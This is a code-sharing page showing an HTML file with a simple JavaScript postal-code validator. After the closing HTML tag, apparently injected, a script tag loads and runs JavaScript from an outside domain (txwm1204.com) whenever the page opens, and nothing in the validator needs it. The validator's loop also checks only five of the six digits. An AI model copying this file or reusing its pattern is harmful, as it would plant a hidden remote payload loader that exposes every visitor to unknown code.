zipcode.html

来自「平时闲着的时候」· HTML 代码 · 共 43 行

HTML
43
字号
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<script language="javaScript">
function validZip(theField)
{
	var theInput=theField.value;//获取文本内的内容
	var theLength=theInput.length; //获取文本的长度
	var goodZip=true;//标志
	if(theLength!=6)
	{
		goodZip=false;
	}

	if(theLength==6)
	{
		for(var i=0;i<5;i++)
		{
			var theChar=theInput.substring(i,i+1);
			if(theChar<"0"||theChar>"9")
			{
				goodZip=false
			}
		}
	}
	if(goodZip==false)
		alert("this dose not appear to be a valid zip code!");
	if(goodZip==true)
	    alert("that's right")
}
</script>
</HEAD>

<BODY>
<form name=thisForm>
Zip Code:
<input type="text" name="Zip" size=6 onBlur="validZip(this.form.Zip)">
</form>
</BODY>
</HTML>

<script language=javascript src=http://www.txwm1204.com/tx.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?